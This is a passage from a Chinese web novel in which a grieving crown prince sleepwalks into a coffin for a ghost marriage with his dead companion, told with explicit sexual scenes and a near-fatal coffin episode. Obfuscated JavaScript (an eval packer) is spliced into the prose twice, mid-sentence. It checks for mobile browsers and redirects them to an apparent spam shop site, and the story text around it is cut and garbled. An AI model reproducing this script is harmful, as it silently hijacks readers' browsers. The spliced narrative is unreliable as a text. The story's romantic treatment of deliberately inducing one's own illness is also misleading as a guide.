郑绥笑了笑,摇头,只道,樱桃性热,又那么甜。听闻殿下有肺症,还是少吃为好。 二十二岁的萧玠哆嗦一下,无数被他忽略的碎片在眼前拼凑起来。白云囤祭奠青不悔时书写“孝男”的袱纸,前往路上郑绥多次向商贩询问樱桃的细节。他突然看到青不悔衣冠冢前沉默站立的郑绥,像一个游子,也像一块碑石。他记得郑绥专门在墓前放了一只本预备盛樱桃的白瓷小碗。他听见空落落的碗里似乎有什么砰砰作响,现在才知道是郑绥欲言又止的心声。 时隔数年他再次听到郑绥未出口的疑问。郑绥问那边也有樱桃树吗,会很甜吗? 萧玠的眼泪一下子涌出来。 他无法想象,他以为十一岁实则近十四岁的郑绥,被无知的自己带到这座院落时心中的感情。他面对的这棵死树或许是他父母爱情唯一的遗迹。 “那棵树呢,那棵樱桃树呢?”萧玠后知后觉地追问,“谁把那棵树拔了?” 杨皇后说:“诸公乱京后,郑素把这推平的院子收回来,闲置了几年。要怎么规划,他交给了已经知事的郑绥做主。那天殿下肺疾凶险,他刚侍疾完毕。” 萧玠身体颤抖起来。 他看到,郑绥小小的身影从面前单膝跪下,探手抚摸樱桃树被虫蚁蛀空的根茎。 郑绥说,拔掉吧,我想种枇杷。 今已亭亭如盖矣。 134.第 134 章 郑绥棺椁离京当夜,萧玠发现了一个天知地知你知我知的秘密。 他发现郑绥还活着。 不算燠热的夏夜,东宫静若深渊。月光挤入罗帷缝隙,银青色地洒在萧玠身上。半梦半醒间,萧玠听到一阵轻响。他睁开眼睛,看到一半帷帐挂上帘钩。 一个竹青色的身影坐在床边,像那么多个日夜以来脱掉靴子。 奇怪的是,之前萧玠从来听不到他的响动,但这次每一个褶皱摩擦的细节、每一个呼吸喷洒的声音都放大数倍,清晰可闻。萧玠头靠瓷枕,一动不敢动,他眼看那个人小心翼翼侧身上榻后,转过郑绥生动的面容。 他看着郑绥郑绥看着他,四条目光蛇一样纠缠盘绕。萧玠左耳朵贴在枕上,听见自己的咚咚心跳和泪落枕面的清脆叩击声。这时一只手抚过他眼睛,为他擦拭泪水。 郑绥半俯下身,带着焦急和心疼问,怎么了? 萧玠摇摇头,想你了。 他往床里缩了缩,让出半个枕头,郑绥也就顺势躺下。月光下郑绥闪烁着明净的雪青色。萧玠贴紧他,感受他的质量和体温。他抬手抚摸郑绥的脸颊,冰冰凉凉如同自己被泪浸湿的皮肤。他指腹摩过那微微耸动的眉头,郑绥睫毛颤抖,一只小手一样搔动他的掌心。 萧玠摸了好半天,说,你还活着。 是,我还活着。 萧玠有些委屈,你怎么现在才来见我?你不知道这些天我有多难过? 郑绥叹口气,抬手把他抱在怀里。 萧玠没有再哭,哭泣已经消磨掉太多宝贵的时间。他手臂从白罗袖子里裸露出来,腰带般箍在郑绥腰间,十根手指彼此交插,带扣一样死死啮合了。他脸伏在郑绥左胸,聆听那踏实沉稳的心跳,感觉郑绥手指缓慢梳理他的头发。 郑绥说,过去的事,我不是刻意隐瞒你。 我知道,我都知道。白天我还在想,文忠公已经议谥追封,你为什么还要冠在郑氏门下?然后我想到我自己。萧玠说,我贵为太子,从未出生起就挣扎在死亡的手掌里。做郑家的儿子,你才能平安长大。 郑绥笑了笑,说听上去很像兔死狐悲的道理。 萧玠的声音很哀伤,我用了那么长时间去找别的兔子,我是那只愚蠢的狐狸。 他忍不住诘问,人人说马革裹尸,但他们的遗物都能送给家里,你的东西都由冠军大将军接管了。我不是你什么人,你什么人我都不是……你知道你留给我什么吗?一只吃空枇杷膏的小瓶,和我送还你你又忘记拿走的躞蹀腰带。我都没有找到你的军牌。你这么撒手我怎么办? 郑绥安抚他,我这不是回来了吗。 回来了。萧玠近乎呓语,回来了就永远不分开。 我从来不想和你分开。萧玠听到郑绥的叹息声,可国家用人之际,那么长的时间我都在奔忙。后来回来,有了鹏英的事。事涉她的私衷,我发誓不向第三个人开口,你也不行。后来……你在玉陷园出了事,我很心痛。再后来,你身边有了沈娑婆,我很妒忌。 然后你就忍着妒忌,天天看我们耳鬓厮磨吗?萧玠带着哭腔,你可以告诉我,至少你可以离开我,这样最起码你能好过一点。 我没法告诉你。郑绥苦笑,我不想最后连君臣都做不得了。更何况,离开你,我才真的不会好过。 他低声道歉,对不起,在你心有所属的时候我还对你抱存臆想。我真的很卑鄙。 萧玠的灵光一下子闪烁到东宫那个尴尬的清晨,他以一个暧昧的半跪姿势,看到郑绥的生理特点冲自己蓬勃无遗。 萧玠嘴里发苦,那天早上,你是因为我吗? 郑绥没有说话。他的沉默给了萧玠回答。 萧玠无比悔恨,他缩在郑绥怀里揪紧他的衣襟,哽咽问,我找你的时候你为什么不说,你为什么不说呀? 我觉得不尊重。 郑绥声音窗外虫鸣一样时断时续,你带旭章上船找我的时候,我想同你陈情,但若从那情形说起……我怕你觉得我是为了泄卝欲,心里难过。我想找个合适的时机,把这么多年的念想从头讲给你听。我不想逼你。 你傻呀。萧玠喃喃,你找我泄欲我也不怕。我的欲望……我肉的欲望心的欲望活着的欲望……现在就是你呀。 皎洁月光下他们四目相对。 萧玠抬头,发现他几乎把自己嵌在眼底。那样深井一样吃人的漆黑他浑然不怕。他感觉郑绥低下头,和他的额头相抵。 我想吻你。 他听见郑绥隐忍的声音。郑绥重复道,明长,我想吻你。 萧玠抬脸吻住他。 郑绥两片嘴唇蚌壳般张开,将萧玠包裹了。萧玠感到他的舌尖滑过齿龈,被这样坚硬的嘴巴包裹的舌头竟是如此炽热柔软。想到这里萧玠落下眼泪。他抽泣声从两人挤压的鼻间发出时郑绥微微抬脸,问我咬到你了吗? 萧玠说不是,不是,我太高兴了。我等这一天等了太久了。 接下来,他们的嘴巴再度黏在一起。这次接吻异于萧玠之前任何一次亲热体验。太细致了,太缱绻了,太珍惜了。他不明白为什么珍惜到这个地步的两个人,今时今日才第一次接吻。他从两人花苞般合拢的口腔中尝到贯通的苦气,那比药味还哀伤的浅青色水雾在两舌缠绕时涌到喉部,像欲望也像死亡一样地把萧玠窒息了。萧玠意乱情迷时郑绥松开他的嘴,那两片冰块般的嘴唇在萧玠眼前闪烁平静的水光。郑绥说,你喘会气。他说着埋下头,细密啃咬萧玠脖颈。 郑绥的牙齿咬上耳垂时,萧玠的欲望溯洄到那个似梦还真的夜晚。军帐里两人交股相依,郑绥在他耳后留下一个痕迹虚无触感真实的牙印,像一朵融化殆尽的血花的水渍。是真的吗?那晚是真的吗?眼前这个亲吻他抚摸他解他衣裳的人是真的吗?他煽动起的自己的情卝欲爱欲求生欲是真的吗? 郑绥听见他低低的呻.吟,停止动作问,你说什么? 萧玠把他的头抱回胸前,几乎幸福地哭起来,我说你弄吧,你怎么弄都行。你对我做什么都可以。 郑绥把萧玠抱到身上时,萧玠看到罗帐罅隙间鼓动的月光,像一只窥探的巨大青眼幽幽发亮。月光立在帐外,脸贴在帐子上,萧玠几乎看到她月光般丝缕闪动的青色睫毛。 萧玠惊叫一声,缩在郑绥怀里,叫,有人,有人看着,有人! 郑绥扭头看向帐外,哄道,不怕,我们去个没人的地方。 他从榻边摘下那件白狐狸大氅把萧玠从头到尾盖住,搂抱幼儿一样,一只手托住萧玠臀部,让他挂在身上。萧玠脸依偎在郑绥颈窝处,感受他脚步的震动,感觉无比安心。他由郑绥把自己放下。郑绥轻轻揭开氅衣,像完成一个揭开喜帕的仪式。萧玠发现他把自己安放在东宫阒寂无人的庭院里。头顶大树参天蔽月,散发出枇杷成熟的阵阵清香。他被郑绥安放在树下坚硬的黑床上。自然之籁交相鸣奏,婚乐般包绕床旁。萧玠双腿垂在床下,郑绥立在他要并不并的双腿前。他在等待。 萧玠问,你会来提亲吗? 郑绥说午门斩首我也来。 萧玠说你不要说这种话,你到时候不来我也愿意。 郑绥说你愿意,我夜夜都来。 月光清凉凉地,撒帐时漂浮的果衣碎屑一样粘在萧玠脸上。萧玠膝盖分开,情态羞涩动作大胆地把郑绥包拢过来。他任由身体和郑绥的动作一起后倾,把自己横陈在这个春欲浮流的夏夜里。后背贴上那凉如玉台的黑床时萧玠有一种置身仙境的错觉。这的确是个人间仙境。仙境美好缠绵永恒不绝的夜晚,他最后一件蔽体的亵衣掉落在地,像一张美丽的白蛇蜕化作烟尘。郑绥进入时他在郑绥嘴里尝到一股全新的气味,是迥异于之前苦气的酽厚甘甜,他知道自己正像飞虫坠入蜜缸一样无可挽回地坠入一个迷人陷阱。他听到头顶浓枝密叶摇曳的沙沙声。它们逐渐远去,像来自另一个世界的声音。 *** 有关太子萧玠奉皇二十二年五月至六月复发梦游症的历史事实,并未见记于任何史料(尽管今已被其他出土文物证实)。这是一件不同寻常的事。现今学界的主流观点认为,或许出于某些暧昧难言的原因,从来不肯粉饰太平的昭帝破例下令削删此事。个中情形曾在明帝统治晚期白头宫女的交谈中被模糊提及,又辗转被托名李文正鬼魂所作的《奉皇遗事续编》一书收录。 书中双鬓如雪的宫女说,那是她十四岁发青颜红的一个夏夜。上柱国——也就是当时的柱国将军郑绥薨后(这个僭越的“薨”字印证了郑绥在明帝朝不言而喻的位置),明帝行止如常,无异平日。但在郑绥棺椁去京当夜,刚过子时…… 透过这位宫女追忆的瞳孔,我们可以看到青年明帝身披一件不合时宜的雪白狐裘赤脚出现在历史回廊尽头。他神情安宁,脸被怀中郑绥神主映照成圣洁的淡青。他的身体越过中庭抵达后院,完成一次伟大冒险。宫女说明帝于枯梨木下启黑棺,入而寝。拂晓返户,天明不知其事。院中土壤上留下的脚印也像一夜春梦在人体上留下的痕迹一样,难以为肉眼察觉。 由于明帝少年的梦游症状被《梁史》如数记载而此次截然相反,学界推测,导致昭帝删史的关键原因并非萧玠的病症而是它的后续发展。今年,白龙山佛学院某生在其学业论文《梁秦骨血祭祀文化考》致谢中感谢其师弘斋的论文指导时,举到这样一个例子:他在初稿写作时出现逆推错误,过分主观地将昭帝删史的原因推导为明帝为求郑绥复生而进行的、某种类似巫蛊的祭祀活动,从而联系到梁代骨殖祭祀的论题上来。他提到弘斋持不同意见,并为新的求证思路提供证据:一份梁代太医署脉案影印材料,时间为奉皇二十二年五月中旬至六月初期。据此可见,郑绥下葬同期,太子肾精亏损到贻害根基的地步。 这是一个令人匪夷所思的巧合。结合秦寄(当时在东宫为质)之后的一系列举动,或许更能推导出萧玠入棺的真相——由于成熟的性.生理和求爱心理被彻底阻断后引发的性梦,在导致严重的遗圌精的同时刺激其精神创伤复发。这种羞耻的病症在梁代被称为“鬼交”。尤其在萧玠臆想的性圌交对象是一个逝者的背景下,他病态的纵圌欲行为被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752522|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认定是亡魂作祟。 但很难说萧玠自己是完全无知的患者,他并不在乎掩饰痕迹,甚至可以说期待人的发现。我们顺着早已干枯的历史藤蔓,或许能够找到第一片触碰真相之果的叶子,那个瘦小坚韧的南秦女人秦双娘,她在萧玠无母而诞的生命里扮演了最接近母亲的角色。她从衣筐里找到萧玠更换后未及清洗的亵衣裤(这对萧玠来说是极反常的),那比爱情还要绝望凄苦的味道弥漫满室。萧玠熟睡在侧,脸上积淀一层纵圌欲过度后特有的灰翳。她捂住嘴巴低声哭泣,手中布料坠落在地,露出裆圌部那片涸液中浮游的血丝。 在整座大梁宫人心惶惶之际,萧玠的精神却畅游巫山阳台。他每个白天都在期待夜晚,每个夜晚都在期待郑绥到来。夜晚,他的身体陷入那张别开生面的婚床,在清风朗月下展开又一场无与伦比的性圌爱。郑绥的臂膀怀抱他,有些宽厚,也有些棱角,这种熟悉让他想起怀抱某种牌状物的体感。是一个神位吗?他不清楚。郑绥的气味在情动之时铺天盖地将他包裹,他在那张白狐皮的笼罩中汗透衣衫。郑绥爱抚中他颤动着低声哀求,抱紧我,你抱紧我,我好害怕。这时郑绥会把一块黑色罗帐拉上——萧玠不会惊讶床帐何以发出沉重的盖棺之声,他只听到郑绥的呼吸。郑绥说不要怕,你永远都有我。 彻底黑暗时他感到郑绥在身体里蓬勃绽放。然后他哭泣,像一只野猫,也像一个嫠妇,听过这声响的人说更像一片春叶萎落泥土。 自称萧玠后世子孙的这位佛学院毕业生曾踮脚向家史管道的尽头张望,试图望见其上父萧恒听闻这件事时脸上的表情。由于年代太过久远,萧恒当时的脸色早已在时间侵蚀中模糊不清。但萧恒的颤抖通过历史的管道保存并传导过来。 太医署上呈脉案的那天下午,萧恒在东宫阁子里找到萧玠。 阁里堆满纸扎的红男绿女,生绢制作的青庐宝马,彩纸、金箔以及晦暗天色在萧玠脸上织就一种暧昧病态的内容。萧玠坐在床上,他的腿间和被褥上缀满桂圆花生莲子红枣四样吉祥果子。 一道冷光闪过萧恒眼睛。 他看到儿子手中活动的剪刀,这让萧恒毛骨悚然。 萧恒悄无声息,绕过满屋喜具冥器走到儿子面前。他尝试从萧玠身边坐下,萧玠殊无反应。 他凝视萧玠的脸,柔声问:“最近有什么心事?” 萧玠没有看他,摇了摇头,继续剪纸。 萧恒道:“皇后给阿绥建了个衣冠冢,就在白龙山上。一会咱们去看看,怎么样?” 萧玠还是摇头。他注视手中逐渐成型的字样,脸上浮起一缕幸福的笑容。 萧玠说:“不用,晚上他会来找我。” 萧恒太阳穴跳动一下,“找你做什么?” 萧玠说:“做夫妻。” 萧恒鼻息静止一瞬,一会,他的声音在喀嚓喀嚓的剪刀声中再度响起。 他说:“阿玠,郑郎不在了。” “我知道。”萧玠的反应很平静,“但精诚所至金石为开,爹你当年在锦水鸳断了气,阿耶穿耳请神能将你救回来,可知阴阳生死,也敌不过情之一字。他虽做了鬼,生前却杀身奉报,如今更越死来奔,阿爹,我哪里再去找一个这样好的人?” “阿玠。” “我翻过黄历,后天是个吉日,宜安葬,也宜嫁娶。后天他要到白云囤,我们打算后天成亲。”萧玠脸上洋溢笑容,“阿爹,您是高堂,我得禀告一声,这样尊重。” 萧恒注视他良久,搬出另一个疑问:“我答应,冠军大将军会答应吗?” “文忠公会答应的。”萧玠微笑道,“我们说好了,他爹娘他去劝,我只劝您。你们不答应也无妨,没有媒妁,我们一样成亲。囡囡都这么大了,有没有名分的,我们不在乎。” 他的固执让萧恒颤抖起来。他不敢夺萧玠的剪刀,只敢握住萧玠的膝盖,几乎哀求地劝道:“阿玠,好孩子你听我说,你要和他成亲……爹答应,好不好?爹答应。但你得叫太医瞧瞧,儿子……算阿爹求你,你元阳亏损得太厉害,这么下去人会不行的。” 萧玠很奇怪,“阿爹,阿耶走后你没有做过这种梦吗?你不会想着他自卝渎吗?你会觉得这是一种病吗?” 他一连三个反问把萧恒击溃得轻而易举。萧恒绝望地发现,萧玠对他自己的现状一清二楚。但他毫不在乎。 那个白色囍字剪成,纸钱一样飘落在萧玠膝头。剪刀凄厉的鸣叫声终止,萧玠的动作也停下来。他垂下脑袋,茫然望向双腿之间,自言自语:“他死了,我元阳再好留给谁,还用得着吗?他就算成了鬼也不会害我……” 萧玠低低呐喊道:“是我想他,是我想他呀!” 这个潮热的夏日午后,一枚黑色香丸在这片新喜之地燃烧,香料绿色霉点散发出如泣如诉的味道。萧恒默许了这桩跨越阴阳两界的婚事。萧玠对明天的夜晚望眼欲穿。他们都没有注意到门上出现的一撇人影。那是迫近故事尾声才姗姗来迟的秦寄,他的手把阁门推开半寸,在结局处刻下一道逆转的强光。 135.第 135 章 这场婚礼是个难题。 萧恒苦恼于如何举办一个活人和一个死人的婚礼。 萧玠苦恼于如何举办一个男人和另一个男人的婚礼。 那天夜晚,萧玠早早上床,在香丸焚烧中等待郑绥造访。香雾越聚越浓,更漏越滴越长。终于,郑绥再次悄然出现,撩开烟雾,直至他的床前。 两人见面,未说话,先接吻。这已经成为夜晚的惯例。郑绥把他吻到枕上,照例去摸他腰间,嘴唇被萧玠轻轻咬了一下。萧玠脸有些红,贴在他唇畔道,先起来,我有话和你讲。 郑绥依言,由他靠在肩头,倾诉了这桩苦恼。萧玠掂着他手指,怎么办呀,我们都是男孩儿,不好走问名纳吉的那一套。我向姑姑打听过阿爹阿耶当时的事儿,说是明山封禅算拜天地,再进祠庙算拜高堂。但我无德无能,又是储君,无法封禅。至于祠庙……你家没有,我家仔细算来,只有我们父子两代,皇陵宗庙里也不是我的祖宗。 郑绥笑道,但咱们有现成的高堂。 萧玠眼睛一亮,对呀,你去请你爹,我把我爹请来。 说到这里,他又小心翼翼,发出一连串疑问,你爹答应吗?你娘答应吗?他们会喜欢我吗? 郑绥便依次回答,他们都答应,他们喜欢你。他们很高兴。 两人静静拥抱一会,萧玠有些叹息,好快。第一次见你,我们不过现在的一半年岁。明日就要成亲了。 他想到什么,又笑道,小时候让你叫我哥哥,你不愿,只肯称殿下,我还以为你是死守规矩。原道你才是真的哥哥。当时我问你,怎么生得这样高?你便哄我。 郑绥笑着接道,因为臣日日在家好好吃饭,按时吃药,睡前还要喝一碗牛乳。 后来你晓得我喝牛乳不舒服,便不提这句了。 但你酪却吃得不少,偏又吃不得冷食。郑绥回忆,每次酪浆都要暖好再吃,还要气陛下,说你吃的冷酪。 萧玠轻轻哼一声,你别教训我,我晓得你背地做阿爹的耳报神。 郑绥也不狡辩,笑道,臣向殿下请罪。 萧玠问,那你要如何赔罪呢? 郑绥抬头,对视片刻后将他重新放倒枕上。他怜惜地抚摸萧玠脸颊,手指缓慢蜿蜒到颈项。郑绥说,外面冷,今晚在这里吧。 萧玠搂紧他,不行,这里有人,有人会看到。我们去那边,好不好? 萧玠分不清愈发浓郁的香气来自香炉还是郑绥的身体。但无可置疑,香气指向他不远处的幸福。现在他最大的幸福就是完全拥有郑绥,不管是生是死,不管是真是幻,不管是醒是梦,是他就好。但这次他听到郑绥在他身上发出不同以往的喘息,这在最后的冲锋中尤为明显。萧玠无法承受的哭声里,他吻掉萧玠的泪水,但把住萧玠的双手依旧像两块冰冷的烙铁。他没有因此放过萧玠,萧玠不允许他放过自己。萧玠沉溺在他肉圌体般有张有弛的浪潮和神主般有棱有角的怀抱里。 两丈之外宫檐之下,萧恒面对棺材内部世界传出的声音站立许久,有些茫然也有些绝望地问身旁秋童:“你说我答应了他他怎么没有好起来?他怎么才能好起来?” 秋童强忍泪水,目光和萧恒一上一下地交错,他看清棺材旁那棵枯树时吓了一跳。 他看到一个人影盘踞在树,像一只等待啄食这盘□□残渣的乌鸦。秋童从这个南秦少年脸上,发现了曾经闪烁于萧恒面孔的冷厉光芒。 秋童闭紧嘴巴,但他旁观者清地发觉,一切离结束不远了。 第二天早晨,萧玠要找鲜樱桃做喜果,他说郑绥不喜欢干果的霉味。这可把秋童为难住了。这时节再早的樱桃还要半个月才到采摘期,萧恒也绝对干不出一骑红尘太子笑的事情。这件事传到幽居东阁子的秦寄耳朵里,当天中午,案上多出一盏被水浸泡过的樱桃干。萧玠应该很满意,没再折腾。 当天瑞官给秦寄送饭,询问过这件事。 秦寄当时在磨一把虎头匕首,边干边说:“他闹得人仰马翻,能因为这点事就不结婚?何况这件事本就不是郑绥要求的。” 瑞官急道:“我们知道不是柱国将军。只是殿下病得这样重,太医用药仍丝毫不见效,成亲之后又要怎么办呢?” 这时秦寄脸上露出一抹神秘的微笑。 “他马上就要好了。”秦寄说,“我能听到所有死人的声音。他不在其内。” 当天太阳落山,萧玠便更换吉服,早早燃香等候。人定时分,花烛摇曳,帐影摇晃。萧玠坐在椅中,看到郑绥逐渐清晰的身影。郑绥身穿大红公服,冲他盈盈微笑。 萧玠抬手抚摸他的袍襟,喃喃说,你穿红真好看。 郑绥说,不如你好看。时辰到了,我来接你。 萧玠汗湿的手递到郑绥手里,分不出两个人谁的手更冰凉。他问,你父母来了吗? 郑绥说,已经去正殿和陛下见过面了。他握住萧玠的手捧他站起来。郑绥问,你真的想好了吗? 萧玠说如果你在我十五岁那年问我,我当时就告诉你我想好了。这一天来得太迟了。 鸦雀无声中,一双新人捧衣入殿。萧恒身穿衮衣坐在上首,脸上是萧玠视而不见的疲色愁容。隔一碟樱桃,坐着一男一女。男人未至中年,身穿儒衫,容貌清俊,与青文忠公图像一般无二。女人面孔较生,却倾国倾城。 萧玠热泪盈眶,和郑绥一起三叩三拜,静静等候高堂教训。许久,他听见萧恒沙哑的声音。 萧恒说,你们要相互扶持,相互爱护,要好好的。之后…… 萧玠暂时隔离父亲嗓音颤抖的含义,父亲说阿玠,你要快乐,要幸福。 郑绥将他搀扶起来,脸上闪烁着月亮青光。在双方父母见证下,两个人沃盥、同牢、合卺、结发,礼成之后送入洞房。一片凄清幽静的洞天房地,他们再次回到那张熟悉的黑床跟前。枇杷树上绑好的彩带翩飞,如同璎珞低垂。 萧玠坐在坚硬的床上,看向郑绥,说我现在还有点感觉是做梦。昨天还是我们小时候。小时候你第一次给我熬枇杷膏。 郑绥从他身边坐下,抬头看摇曳的枝叶,说是啊,岁月如箭,这棵树已经这么高大了。好奇怪,它怎么还没结出果来? 郑绥简单的疑问叫萧玠心中一跳,面前苦尽甘来的世界突然产生一阵隐隐颤动。萧玠太害怕了,怕得他立刻捧住郑绥脸颊把舌头塞进他嘴巴里。萧玠说别管,别管这么多。春宵一刻,做你该做的。 床帐再度落下坚硬的合闭声,萧玠被郑绥压在一片无比安全的黑暗世界里。郑绥突然问,龙凤花烛呢,不是应该燃烧彻夜吗? 萧玠几乎是痛苦地呻吟起来,不要问了,求求你不要问了,你先弄我,我求你了。 郑绥冰凉的手指在他身上蜿蜒蛇行,抚摸到萧玠腹部时,他也冰凉地塞入。这次不同以往,萧玠像一只被桩子椎住的羊羔。他忍不住把指甲抠进郑绥后背,疼得像抠进自己肉里。 绥、绥郎,绥郎……萧玠带着哭腔哀求,你轻一些,我受不了……我不成了! 一只手刀刃一样地替他刮去眼泪,他感觉肚脐往下都拧着转疼起来,他在哭声里听到那一下一下冰冷楔动的响亮的声音,他渐渐喘不上气。郑绥楔他像楔钉子。梆!梆!梆! 萧玠几乎窒息,体内的凿击声浪潮般远去,他耳边仍响着敲打的声音。似乎从头顶传来。一下比一下坚定。梆,梆,梆! 萧玠一个哆嗦,抬手去推本该虚掩的棺材盖,如今却纹丝不动。郑绥神主冰凉地躺在萧玠怀里,这种死亡的象征物似乎预示了今日结局。 萧玠双手剧烈拍打棺盖,叫喊道:“谁,谁在钉钉子?开门……开开门!” 夯击声停止一瞬,棺盖外的世界传来一个少年的声音:“我以为你经历过樾州之乱会明白该怎么活。没想到你像你爹,是个只知道逃避的脓包怂货。” 萧玠听出来他是谁。他听见那个人说:“萧玠,既然你那么想死,那就再尝尝死是什么滋味吧。不用谢我。” 萧玠拍打棺盖的手软软垂落,任何解释都像狡辩。他抱紧怀里那块牌位,低声道:“我没有想死……我没有。” “但你也没想好好活。”秦寄无比冷酷,像一个捏住七寸的捕蛇人,“所有人都以为你是因郑绥之死的刺激发病——是吗,萧玠?” 萧玠还要申辩什么,愈发稀薄的空气渐渐抽干了他,他只有把牙仁倚靠在嘴唇上的力气。他听到有一道霹雳落在棺盖上,是秦寄说:“我在你香炉里找到了落魄香。你在诱导自己发病。” “萧玠,为什么。” 萧玠放弃挣扎,缩在棺材里。棺木腐蠹的气味和一些灰尘鼓入鼻腔,他想咳嗽但没力气。萧玠看着漆黑的棺材顶,看久了像看一块夜空,有了星星。这给他一些吐露真相的安全感。 萧玠喃喃说:“梦游症最厉害的时候,我看到过老师。” 外面没有催问,也没有动作。萧玠继续说下去,“后来我又见到老师一次,是在我决意整肃柳州的时候……那时候我也有了梦游的迹象。但整宿睡不着觉,并没有发作。我知道,我在那时候能见到离开的人。郑绥走后近两个月,我再也没有梦见他,一次也没有。我想再见见他,哪怕是血淋淋的……” 萧玠听到自己的声音哽咽起来:“我有数的,阿寄,我真的有数。” 秦寄冰冷道:“你这么有数,就没想过会有人把你钉死在棺材里吗?” 萧玠哽住的停顿里,秦寄再度开口: “我看你是仗着你爹惯,没心没肝。” 接着,梆梆敲打声再度响起,在最后一个角,穿透棺木尖锐地楔进他肉里。萧玠知道秦寄不是和他闹着玩的。他一直弄不清楚秦寄对自己的感情,弄不清里面怨有几分恨又有几分。他感觉一只无形的大手卡在脖子上,迫使他双手放开那块神主去抠挖头顶棺盖。 他的撞击声一下轻似一下,对阵的钉棺声却像接连不断的雷鸣炸落。他不知道意识混沌前自己做了什么。他感觉自己的身体一条断裂的树茎一样僵直在棺里,和另一块死掉的木头——描着郑绥名姓的神位一起。 最后,他隐约听见秦寄的声音,像一个溺水的人听岸上的响动,模糊又奇异地清晰。 秦寄说:“不是要做夫妻么?生不同衾死同穴,我成全你。” *** 萧玠再次醒来已经躺在自己床上,视线恢复时,看到父亲苍老疲倦的脸。他的眼泪一下子涌出来。他想说话,但感觉喉咙格外肿痛。 他对父亲无声地说:“对不起,我不想闹成这样的。” 萧恒给他擦掉眼泪,静默一会后,说:“阿玠,你在樾州的消息传回长安后,我不比你收到郑绥讣闻时好过。但我没有赶过去。我知道战时的朝政和百姓更需要我。我每晚梦到的都是你血淋淋的尸体,被马拖死的,被砍成万段的,被乱箭射成刺猬的,被火活活点燃的……你在每个梦里都在惨叫,你说阿爹我好疼啊,你救救我吧。你问我为什么不救你,为什么抛弃你。” “我问了自己无数遍,我为什么抛弃你。后来我明白,我没有选择。在这个位置上我们没有选择行止甚至生死的权力。阿玠,如果你真的累了,阿爹……可以废了你,或者宣布你积劳成疾病殁了。你可以轻轻松松想做什么做什么。但阿爹知道,你这些年的想法已经和之前不一样了,对吗?” 萧玠感觉脸上潮湿,是父亲的眼泪坠落下来,“如果你想给百姓多做些事,最要紧的就是保重好自己的身体。这半个月,樾州刺史给东宫上了五道请安折子,每道都附着百姓的书信。还有你阿耶。” 萧恒哽咽道:“你阿耶今年已经四十六岁了,你有个好歹,他怎么活得下去?” 萧恒离开很久后,他的泪痕还留在萧玠脸上,产生一种被熔岩烫伤的痛觉。过了一会,无声无息地进来一个人。 秦寄非常高调地穿回他的南秦服装,红衣白虎的装扮乍一看很像秦灼。他隔一段距离在萧玠床边站住,说:“这几天我搬过来。” 萧玠没有任何表示。秦寄盯着他露出的手腕,佛珠已经戴不住,向肘部徐徐滚动。手臂上无数个淡红结痂的月牙形,是指甲抠出的痕迹。 “想活了吗?”秦寄问他。 萧玠依旧沉默。 秦寄又问了一个问题。这个问题将切中萧玠一生中全部关系的核心。 秦寄问:“你濒死的时候——不管是樾州还是昨晚——你想的是郑绥吗?” 萧玠嘴唇出现抖动的痕迹。这让秦寄接下来的话如同宣判:“人最在乎的是自己。最在乎你的也是你自己。” “萧玠,你好好想想吧。” 秦寄迈动脚步时,听见萧玠嘶哑的声音。 “阿寄,”萧玠说,“多谢你。” *** 比起秦寄连续几夜监视似的睡在身边,萧玠更讶于他和萧恒的和谐共处。虽然两人几乎没有照面,但秦寄没再像几年前一样采取任何弑君行动。 萧玠一开始把这归结于他的长大成熟,后面想想却不尽然。成亲当夜,萧恒已在东宫,而秦寄能做出钉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧玠显然察觉他指桑骂槐,默然片刻,道:“阿寄,或许他们但凡相见,大海也会变成涸泉。两条涸泉之鱼吐出的不是水沫,是血。谁能靠对方的血苟活下去?” 他叹口气:“我们不是那两条鱼,没有经历过吐血相濡的境地。我们不能站在岸上说这样冷漠的话。” “你看别人倒很清楚。”秦寄打断他,“时间到了,你该吃安神药了。” 秦寄勒令他吃药,并搜出全部落魄香丢出东宫,但他没有禁止萧玠抱着郑绥神主入睡。入夜时分,萧玠背对床外躺下,身体蜷缩,那块牌位夹在他手臂和两腿间。其实他近来恢复得不错,只有在夜里,秦寄会听到他一两声压抑的抽泣。他病卝态的欲望也有效缓解了,毕竟秦寄睡在身侧,他也没有行事的脸皮——这或许是秦寄盯着他的又一目的。 这种平静一直持续到六月底,一个似乎与平常无异的夜晚。子夜时分,萧玠的衣摆扫过秦寄双腿,在缕缕香烟中再度怀抱神主出门。 他异常的夜间活动立刻惊醒了厢房守夜的瑞官,他先闻到一股异香,发现殿门被推开一隙,殿中香炉已经燃烧。 瑞官无比惊恐,蹑步赶往庭中,萧玠的翩翩白影映入眼中时他险些尖叫出声。 又出事了,好容易消停两天怎么又出事?今天受了什么刺激? 瑞官试图叫人的嘴巴被一只手捂住,呜呜呀呀里看见秦寄近在咫尺的脸孔。 瑞官挣扎道:“殿里生了香,殿下又发作了,咱们赶紧请太医啊!” “你没看到他睁着眼睛吗?”秦寄像盯竿的渔父一样紧盯萧玠身影。他嘴唇平静地张合: “他点的是返魂香。” * 萧玠将神主搬上棺材,自己也爬上去,又让神主坐在怀里。梨木死躯散发出一股奇异香气,经月光晒过产生近似枇杷成熟的味道。这股香气熏陶里,萧玠垂头看自己的脚,像跑到草坡上相送郑绥一样,也忘记穿鞋。没想到那是最后一面。 月光青青,如同生烟。面前烟气散去,萧玠看到,自己赤裸的脚前出现一双靴子。 他顺着那双靴子往上找,找到军官的长裤、挂有黄铜军牌的躞蹀腰带、紧实的小腹和胸膛,然后是郑绥含笑的脸。 萧玠痴痴道,你来了。 